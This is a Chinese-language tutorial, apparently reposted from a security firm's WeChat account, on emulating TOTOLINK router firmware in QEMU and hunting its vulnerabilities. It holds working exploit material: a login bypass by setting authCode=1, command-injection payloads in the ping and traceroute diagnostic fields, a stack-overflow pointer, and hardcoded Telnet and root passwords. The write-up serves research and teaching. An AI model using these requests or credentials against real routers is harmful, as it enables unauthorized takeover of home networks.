技术说丨我的IoT安全之路,从攻略自家路由器开始

admin 2024年1月6日09:52:09评论72 views字数 14362阅读47分52秒阅读模式

技术说丨我的IoT安全之路,从攻略自家路由器开始






先听我说
长亭技术说

技术说丨我的IoT安全之路,从“攻略”自家路由器开始

这是你,淹没在一堆IoT设备当中,想要做点什么,却不得要领。

已经入门或计划入门IoT安全的小伙伴或许已经发现了,IoT安全跟其他的安全真的不大一样。这“哥们儿”学起来不仅需要专业的研究设备,需要固件分析、硬件方向、无线电领域对应的专业知识与能力作为支撑,还需要较强的动手能力!

退了退了……退什么!!!

如果,不用额外购入高昂价格的专业设备、不用事先准备充足专业知识打底、不用在乎复杂的动手能力要求,就能入门IoT安全!你就说,约不约!

本文就是这么一篇“入门者友好”的存在。



作者在这篇文章中,深入浅出地引领读者了解IoT路由器漏洞挖掘、入门相关的技术。文章从基础工具的准备开始,一步步引导完成环境配置,并结合实例对路由器漏洞挖掘的思路进行详细讲解。



换句话说,无论你是一名初学者,还是一名具有一定基础的技术人员,这篇文章都将是,你涉足该领域的不错的开始!

All right,新的Buff,点亮吧!







正文揭晓
长亭技术说

HRP-IOT-入门-环境配置


零.基础工具

1.Ubuntu22.04(尽量大于等于20.4,本人使用的是WSL2)

2.qemu全家桶(各个主流架构的,arm,aarch64,mipsel)

sudoaptinstallqemu-system-arm

sudoaptinstallqemu-system-aarch64

sudoaptinstallqemu-system-mipsel

3.IDA7.7

4.burpsuite

5.binwalk

6.对应架构的kernel以及磁盘(下面开始讲)

7.固件获取(totolink的官网,是net域名的官网)


一.对应架构的kernel以及磁盘获取

1.入门级的mipsel

https://people.debian.org/~aurel32/qemu/
debian_squeeze_mipsel_standard.qcow2
vmlinux-2.6.32-5-4kc-malta
上面的qcow2就是磁盘,下面的vmlinux就是kernel
2.进阶的aarch64

①自行编译内核:
gitclonehttps://github.com/torvalds/linuxcdlinuxgitcheckoutv5.0makeARCH=arm64CROSS_COMPILE=aarch64-linux-gnu-defconfigmakeARCH=arm64CROSS_COMPILE=aarch64-linux-gnu-Image-j8

编译完成后在如下目录的Image文件就是我们要的对应架构的内核(我已更名为aarch64):
arch/arm64/boot/Image

②磁盘获取,这里我选择的是19年的磁盘:
debian-10-generic-arm64-20190909-10.qcow2https://cdimage.debian.org/images/cloud/buster/20190909-10/


一.对应架构的kernel以及磁盘获取

1.网络配置脚本(临时网卡每次开机后都要重新运行该脚本)

#/bin/bash
#创建一个tap设备并启动它:
tunctl-ttap0-urootiplinksettap0up

#创建一个新的网络桥,并将tap设备添加进去:
brctladdbrbr0brctladdifbr0tap0

#给br0分配IP地址
ipaddradd192.168.200.1/24devbr0iplinksetbr0up

1.1Nginx代理配置,进行双向代理

ps:路径
/etc/nginx/sites-available/default
直接复制进去就行了
(其中172.28.60.132对应的是宿主机主网卡的IP地址)

server {listen 80;server_name 172.28.60.132;location / {proxy_pass http://192.168.200.2;proxy_set_header Host $host;proxy_set_header X-Real-IP $remote_addr;}}server {listen 80;server_name 192.168.200.2;location / {proxy_pass http://172.28.60.132;proxy_set_header Host $host;proxy_set_header X-Real-IP $remote_addr;}}

重启Nginx
service nginx restart

2.mipsel架构启动脚本

#!/bin/bashqemu-system-mipsel -M malta -kernel vmlinux-2.6.32-5-4kc-malta -hda debian_squeeze_mipsel_standard.qcow2 -append "root=/dev/sda1 console=tty0" -net nic -net tap,ifname=tap0,script=no,downscript=no -nographic

2.1aarch64架构启动脚本

#!/bin/bash
qemu-system-aarch64 -machine virt,virtualization=true,gic-version=3 -nographic -m 4096M -cpu cortex-a57 -smp 2 -kernel aarch64 -drive if=none,file=debian-11-nocloud-arm64-20230802-1460.qcow2,id=hd0,format=qcow2 -device virtio-blk-device,drive=hd0 -append "root=/dev/vda1 console=ttyAMA0" -net nic -net tap,ifname=tap0,script=no,downscript=no

ps:用户名密码全是root

三.固件解压缩以及压缩上传以及qemu内网卡配置

备注:各大架构都是一样的操作。

1.qemu内网卡配置(qemu内)

在前面的网络配置脚本我配置了一个网卡的ip是192.168.200.1
现在分配给qemu 同一个子网的ip
#mipsel 里面
ifconfig eth0 192.168.200.2
#aarch64 里面
ip addr add 192.168.200.2/24 dev enp0s1

测试对宿主机的网卡进行ping,可达后即可进行ssh连接以及文件传输,因为之前是用Nginx进行了反向代理,后续的qemu内部操作的80端口都可以映射到宿主机,直接进行网络访问。

root@debian:~# ping 192.168.200.1ping: socket: Address family not supported by protocolPING 192.168.200.1 (192.168.200.1) 56(84) bytes of data.64 bytes from 192.168.200.1: icmp_seq=1 ttl=64 time=1.37 ms64 bytes from 192.168.200.1: icmp_seq=2 ttl=64 time=0.789 ms64 bytes from 192.168.200.1: icmp_seq=3 ttl=64 time=1.11 ms64 bytes from 192.168.200.1: icmp_seq=4 ttl=64 time=0.567 ms64 bytes from 192.168.200.1: icmp_seq=5 ttl=64 time=0.917 ms

2.解压缩及压缩上传(宿主机内操作)

binwalk --run-as=root -Me CS_C8380R_X6000R_IP04499_MT7981_SPI_16M256M_V9.4.0cu.852_B20230719_ALL.web --preserve-symlinks

得到目录如下:
_CS_C8380R_X6000R_IP04499_MT7981_SPI_16M256M_V9.4.0cu.852_B20230719_ALL.web.extracted

进去找到:
squashfs-root

这个目录存放的主要就是整个路由器的子系统(主体是busybox组成,还有httpd服务以及一些CGI+html)。

我们直接对这个目录进行压缩:
tar -czvf 1.tar squashfs-root/

scp上传:
scp -oHostKeyAlgorithms=+ssh-rsa 1.tar root@192.168.200.2:/root

3.qemu内解压缩以及挂载启动httpd服务

解压:
tar -zxvf 1.tar

挂载
mount -o bind /dev ./squashfs-root/devmount -t proc /proc ./squashfs-root/proc/

ps:如果要切换固件挂载新的squashfs-root记得要:
umount ./squashfs-root/devumount ./squashfs-root/proc

启动子系统
chroot ./squashfs-root/ sh

启动httpd(totolink常见的httpd有2种Lighttpd和shttpd,一般httpd服务器就在各大bin或者sbin还有根目录下,自己根据提示逐步配置。这里简单带一下:

3.1 shttpd

/ # lsbin init mnt rom sys vardev lib overlay root tmp webetc lib64 proc sbin usr www

www目录就是web目录的根目录,有时候也叫web目录,这里2个都有,你可以自己看看哪里是比较健全的哪个就是,在这里是web目录。

启动:
/ # shttpd -root web[init_handle_table:52] Topic Num: get=57, set=50, oth=26shttpd 1.42 started on port(s) 80, serving web

外部访问,之前配置了代理了直接本地访问80端口即可。

技术说丨我的IoT安全之路,从攻略自家路由器开始

3.2 lighttpd

这个有时候会遇见各种各样的报错,这次只是缺了个文件,有时候要找到在这个squashfs-root的lighttp里面的所有SO库然后进行cp迁移到lighttpd指定的目录然后才能启动。

/ # lighttpd -f lighttp/lighttpd.conf2023-07-26 02:28:27: (server.c.624) opening pid-file failed: /var/run/lighttpd.pid No such file or directory/ #/ # mkdir /var/run/ # touch /var/run/lighttpd.pid/ # lighttpd -f lighttp/lighttpd.conf/ # 2023-07-26 02:29:12: (log.c.97) server started


HRP-IOT-入门-基础分析



一. squashfs-root目录结构分析

1.httpd服务器程序路径

一般该httpd位于/usr/sbin 目录下,这个也是存在漏洞可以分析的,等下有案例,而且shttpd基本上都结合到一体了(服务器+CGI)不再像Lighttpd是独立的服务器+独立的CGI,其实合并起来更容易分析。

2.web目录

web目录一般就是www和web这2种。

3.www(web)下的cgi-bin目录

这个目录存放着cgi程序,一般就是lighttpd才会有的,shttpd已经整合cgi了,但是常见的请求路径,参数json格式和之前的CGI是大差不差的。

二. 常规思路及常见的漏洞利用点

0.核心思维

一种高效的方法是对所有可用的参数点进行溢出和注入尝试。这种方法类似于黑盒测试,既节省时间又省力。一旦发现潜在的漏洞,然后用IDA来搜索相关字符串,以便定位具体的调用点。

1.合理利用cve的list

根据历史漏洞,尝试在新的固件里面寻找类似的漏洞。
https://cve.mitre.org/cgi-bin/cvekey.cgi?keyword=totolink

2.常见注入点

2.1 login authcode绕过【A7000R_Firmware V9.1.0u.6115_B20201022(Transition version) 】

技术说丨我的IoT安全之路,从攻略自家路由器开始

先抓包,第一个包如下,可以看见只是发起了用户名密码和对应的路由请求
POST /cgi-bin/cstecgi.cgi?action=login HTTP/1.1Host: 127.0.0.1Content-Length: 27Cache-Control: max-age=0sec-ch-ua: "Chromium";v="95", ";Not A Brand";v="99"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1Origin: http://127.0.0.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Sec-Fetch-Site: same-originSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentReferer: http://127.0.0.1/login.htmlAccept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Cookie: SESSION_ID=2:1696852613:2Connection: closeusername=admin&password=123

forward继续看看,现在这个get请求就有意思了authCode和goURL,我们先去cgi程序
GET /formLoginAuth.htm?authCode=0&userName=&goURL=login.html&action=login HTTP/1.1Host: 127.0.0.1Cache-Control: max-age=0Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Sec-Fetch-Site: same-originSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentsec-ch-ua: "Chromium";v="95", ";Not A Brand";v="99"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: http://127.0.0.1/login.htmlAccept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Cookie: SESSION_ID=2:1696852613:2Connection: close

搜索authCode搜到如下
.rodata:00439A44 0000005C C ,"redirectURL":"http://%s/formLoginAuth.htm?authCode=%d&userName=%s&goURL=%s&action=login"}.rodata:004399DC 00000065 C ,"redirectURL":"http://%s/formLoginAuth.htm?authCode=%d&userName=%s&goURL=%s&action=login&flag=ie8"}.rodata:00439978 00000063 C ,"redirectURL":"http://%s/formLoginAuth.htm?authCode=%d&userName=%s&goURL=%s&action=login&flag=1"}

跟踪进函数
snprintf(v21, 4096, "{"httpStatus":"%s","host":"%s"", "302");v16 = strlen(v21);if ( atoi(v9) == 1 ){snprintf(&v21[v16],4096 - v16,","redirectURL":"http://%s/formLoginAuth.htm?authCode=%d&userName=%s&goURL=%s&action=login&flag=1"}",v25);}else if ( !strcmp(v9, "ie8") ){snprintf(&v21[v16],4096 - v16,","redirectURL":"http://%s/formLoginAuth.htm?authCode=%d&userName=%s&goURL=%s&action=login&flag=ie8"}",v25);}else{snprintf(&v21[v16],4096 - v16,","redirectURL":"http://%s/formLoginAuth.htm?authCode=%d&userName=%s&goURL=%s&action=login"}",v25);}

发现关键赋值在v25,但是找到v25的赋值来自host的获取,明显是不太对劲的,那么证明这个函数可能不是关键的鉴权函数,我们就要开始转移目标,把目光放到httpd服务器。

v8 = (_BYTE *)websGetVar(Object, "http_host", &byte_43A4B0);
在Lighttpd服务器上我们搜索authcode,直接就找到了独立的字符串,跟踪去看看。

.rodata:00424944 00000009 C authCode.rodata:00426A64 0000002B C GET /formLoginAuth.htm?authCode=1 HTTP/1.1

找到2处关键代码
if ( strstr(v20, "authCode") )v7 = atoi(v8);if ( strstr(v20, "userName") )strcpy(v30, v8);if ( strstr(v20, "password") )strcpy(v29, v8);if ( strstr(v20, "goURL") )strcpy(v28, v8);if ( strstr(v20, "flag") )strcpy(v27, v8);

以及session生成前提判断
if ( v7 ){fbss = 0;do{v12 = time(0);if ( !ws_get_cookie(a1, "SESSION_ID", v15, 0) && form_get_idx_by_sessionid(&fl_sess, v12, v15) != -1 ){sprintf(a2, "http://%s/%s?timestamp=%ld", v22, v19);return 1;}sprintf(v14, "%ld:%d", v12, 2);sprintf(v18, "%d:%s", 2, v14);}

证明只要authcode是1就能生成session,但是如果直接改了这个参数发现还是会回到login.html,原因在于goURL该参数是一个重定向页面参数,所以还要修改该参数到home.html。

GET /formLoginAuth.htm?authCode=1&userName=&goURL=home.html&action=login HTTP/1.1Host: 127.0.0.1Cache-Control: max-age=0Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Sec-Fetch-Site: same-originSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentsec-ch-ua: "Chromium";v="95", ";Not A Brand";v="99"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: http://127.0.0.1/login.htmlAccept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Cookie: SESSION_ID=2:1696852613:2Connection: close

这时候就可以成功绕过鉴权了。

技术说丨我的IoT安全之路,从攻略自家路由器开始

2.2 老生常谈ping测试 【A7000R_Firmware V9.1.0u.6115_B20201022(Transition version) 】

我们还是拿这个固件继续挖,在如下路径,存在ping命令测试
http://127.0.0.1/advance/diagnosis.html?time=1696861370868

技术说丨我的IoT安全之路,从攻略自家路由器开始

抓到包后修改如下,对ip参数注入:
POST /cgi-bin/cstecgi.cgi HTTP/1.1Host: 127.0.0.1Content-Length: 65sec-ch-ua: "Chromium";v="95", ";Not A Brand";v="99"Accept: application/json, text/javascript, */*; q=0.01Content-Type: application/x-www-form-urlencoded; charset=UTF-8X-Requested-With: XMLHttpRequestsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 sec-ch-ua-platform: "Windows" Origin: http://127.0.0.1 Sec-Fetch-Site: same-originSec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: http://127.0.0.1/advance/diagnosis.html?time=1696857654980 Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9 Cookie: SESSION_ID=2:1696852613:2 Connection: close  {"ip":"`ls>/www/hrp.txt`","num":"1","topicurl":"setDiagnosisCfg"}

验证poc:
GET /hrp.txt HTTP/1.1Host: 172.28.60.132Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Connection: close

技术说丨我的IoT安全之路,从攻略自家路由器开始

技术说丨我的IoT安全之路,从攻略自家路由器开始

下面就来分析下,为什么会被注入,根据参数ip直接搜cgi的字符串,会发现存在非常多的ip相关的字符串,你找起来也很麻烦,所以就换个思路,搜索函数system,execve这些,我们从system搜索。

_system .MIPS.stubs 00434BC0 00000010 R . . . . . T ._doSystem .MIPS.stubs 00434E90 00000010 R . . . . . T .doSystem extern 0044DCB0 00000004 R . . . . . T .system extern 0044DD68 00000004 R . . . . . T .

自己探索就可以发现dosystem就是对system的包装,我们直接看dosystem的调用一路下去其实都可以发现非常多的可注入点,要找到准确的相关的注入点,如下,可以看见,参数格式和我们的post包里的json是一模一样的,dosystem的时候直接对拼接的v6进行执行没有任何过滤直接用反引号闭合就可以任意命令执行了。

int __fastcall sub_421DDC(int a1){const char *Var; // $s2int v3; // $v0int v4; // $v0char v6[128]; // [sp+18h] [-80h] BYREFmemset(v6, 0, sizeof(v6));Var = (const char *)websGetVar(a1, "ip", "www.baidu.com");v3 = websGetVar(a1, "num", &byte_43A4B0);v4 = atoi(v3);sprintf(v6, "ping %s -w %d &>/var/log/pingCheck", Var, v4);doSystem(v6);setResponse(&word_438564, "reserv");return 1;}

2.3 老生常谈traceroute【A7000R_Firmware V9.1.0u.6115_B20201022(Transition version) 】

这里再用这个简单的命令执行同样是因为dosystem造成的。

url如下
http://127.0.0.1/advance/traceroute.html?time=1696861371925

分析自己看就知道了一样的问题。

.text:00421CD4 21 20 00 02 move $a0, $s0.text:00421CD8 44 00 05 3C E8 92 A5 24 li $a1, aCommand # "command".text:00421CE0 44 00 06 3C lui $a2, 0x44 # 'D'.text:00421CE4 3C 80 99 8F la $t9, websGetVar.text:00421CE8 09 F8 20 03 jalr $t9 ; websGetVar.text:00421CEC F0 92 C6 24 li $a2, aWwwBaiduCom # "www.baidu.com".text:00421CEC.text:00421CF0 10 00 BC 8F lw $gp, 0x98+var_88($sp).text:00421CF4 21 90 40 00 move $s2, $v0.text:00421CF8 21 20 00 02 move $a0, $s0.text:00421CFC 43 00 05 3C 84 66 A5 24 li $a1, (aGuestRadioSchN+0x10) # "num".text:00421D04 44 00 06 3C lui $a2, 0x44 # 'D'.text:00421D08 3C 80 99 8F la $t9, websGetVar.text:00421D0C 09 F8 20 03 jalr $t9 ; websGetVar.text:00421D10 B0 A4 C6 24 li $a2, byte_43A4B0.text:00421D10.text:00421D14 10 00 BC 8F lw $gp, 0x98+var_88($sp).text:00421D18 00 81 99 8F la $t9, atoi.text:00421D1C 09 F8 20 03 jalr $t9 ; atoi.text:00421D20 21 20 40 00 move $a0, $v0.text:00421D20.text:00421D24 10 00 BC 8F lw $gp, 0x98+var_88($sp).text:00421D28 21 20 20 02 move $a0, $s1.text:00421D2C 44 00 05 3C 00 93 A5 24 li $a1, aTracerouteMDSV # "traceroute -m %d %s&>/var/log/traceRout"....text:00421D34 21 30 40 00 move $a2, $v0.text:00421D38 2C 81 99 8F la $t9, sprintf.text:00421D3C 09 F8 20 03 jalr $t9 ; sprintf.text:00421D40 21 38 40 02 move $a3, $s2.text:00421D40.text:00421D44 10 00 BC 8F lw $gp, 0x98+var_88($sp).text:00421D48 88 81 99 8F la $t9, doSystem

2.4简单注入小结

建议直接找到system相关函数进行参数判断,基本上能快速定位到漏洞。又或者是前台批量fuzz 功能点进行注入尝试,注入成功了再去IDA 逆向定位到具体的注入点去分析。

3.常见栈溢出点

sprintf,strcpy,sscanf这些都是很常见的,但是为了提高效率,我建议是搜索字符串%s,对于strcpy这个就是主要看是否可控。

这里还是用到上面的ping测试,很明显的一个地方
%s无限写入到v6,但是v6是有限的数组,会造成栈溢出
sprintf(v6, "ping %s -w %d &>/var/log/pingCheck", Var, v4);
直接批发junk code过去,可以看见已经返回500了。

技术说丨我的IoT安全之路,从攻略自家路由器开始

同理在2.3那也是存在的一样的栈溢出。

三. 硬编码

1.Telnet 密钥硬编码

grep -r "TelnetKey" .grep: ./debian_squeeze_mips_standard.qcow2: binary file matches./_A7000R_V9.1.0u.6268_B20220504.web.extracted/squashfs-root/etc_ro/custom.conf: "TelnetKey":"KL@UHeZ0",grep: ./_A7000R_V9.1.0u.6268_B20220504.web.extracted/squashfs-root/usr/sbin/custom_info_to_nvram: binary file matchesgrep: ./_TOTOLINK_C8340R-1C_A7000R_IP04349_MT7621A_SPI_16M128M_V9.1.0u.6115_B20201022_ALL.web.extracted/4C: binary file matches./_TOTOLINK_C8340R0-1C_A7000R_IP04349_MT7621A_SPI_16M128M_V9.1.0u.6115_B20201022_ALL.web.extracted/_4C.extracted/custom.conf: "TelnetKey": "cs2012",grep: ./_TOTOLINK_C8340R-1C_A7000R_IP04349_MT7621A_SPI_16M128M_V9.1.0u.6115_B20201022_ALL.web.extracted/_4C.extracted/0.tar: binary file matches./_TOTOLINK_C8340R-1C_A7000R_IP04349_MT7621A_SPI_16M128M_V9.1.0u.6115_B20201022_ALL.web.extracted/squashfs-root/etc_ro/custom.conf: "TelnetKey":"cs2012",grep: ./_TOTOLINK_C8340R-1C_A7000R_IP04349_MT7621A_SPI_16M128M_V9.1.0u.6115_B20201022_ALL.web.extracted/squashfs-root/usr/sbin/custom_info_to_nvram: binary file matchesgrep: ./debian_squeeze_mipsel_standard.qcow2: binary file matches

2./etc/shadow


/etc # cat shadowroot:$1$IjJSZYnP$14XuZ/eoGldE8Qz2BXkyO.:15797:0:99999:7:::daemon:*:0:0:99999:7:::ftp:*:0:0:99999:7:::network:*:0:0:99999:7:::nobody:*:0:0:99999:7:::ntp:x:0:0:99999:7:::dnsmasq:x:0:0:99999:7:::logd:x:0:0:99999:7:::ubus:x:0:0:99999:7:::/etc #

上面解密出来对应的就是cs2012,其实由此可知他的root密码基本上是和Telnet一样的可以直接通杀。





END


点击卡片👇  get本期征稿详情
技术说丨我的IoT安全之路,从攻略自家路由器开始

技术说丨我的IoT安全之路,从攻略自家路由器开始

原文始发于微信公众号(长亭安全观察):技术说丨我的IoT安全之路,从“攻略”自家路由器开始

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年1月6日09:52:09
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   技术说丨我的IoT安全之路,从攻略自家路由器开始http://cn-sec.com/archives/2367832.html

发表评论

匿名网友 填写信息